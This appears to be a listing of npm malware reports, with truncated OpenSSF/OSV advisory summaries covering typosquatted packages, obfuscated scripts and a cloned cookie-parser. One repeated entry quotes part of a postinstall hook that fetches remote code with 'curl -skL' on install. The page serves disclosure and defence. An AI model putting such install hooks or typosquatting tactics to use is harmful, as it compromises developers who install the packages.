npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-5837 blocks this version. Package is published as `postcss-minify-selector` (singular) but its internal postcss plugin identifier is `postcss-minify-...

OpenSSF/OSV malware advisory MAL-2026-5837 blocks this version. Package is published as `postcss-minify-selector` (singular) but its internal postcss plugin identifier is `postcss-minify-...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-5491 blocks this version. The package ships scripts/script.js containing heavy obfuscation patterns (string-array shift rotation, hex-encoded numeric...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-5629 blocks this version. The package name `sass-formats` is one character-edit away from the popular `sass-formatter` package and reuses its origina...

OpenSSF/OSV malware advisory MAL-2026-6388 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-5259 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-5676 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-5259 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-6661 blocks this version. Package ships a verbatim copy of the Express 'cookie-parser' middleware under a different name ('clx-cookieparser') and dec...

OpenSSF/OSV malware advisory MAL-2026-5268 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-6495 blocks this version. animatecss-postcss-plugin@1.0.1 ships a tiny PostCSS plugin factory whose body contains an obfuscator.io-style string-array...

OpenSSF/OSV malware advisory MAL-2025-6214 blocks this version. Package exhibits multiple malicious behaviors: Office doc access/encryption, DB interaction, local storage clearing, arbitr...

OpenSSF/OSV malware advisory MAL-2026-4793 blocks this version. On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helpe...

OpenSSF/OSV malware advisory MAL-2026-6661 blocks this version. Package ships a verbatim copy of the Express 'cookie-parser' middleware under a different name ('clx-cookieparser') and dec...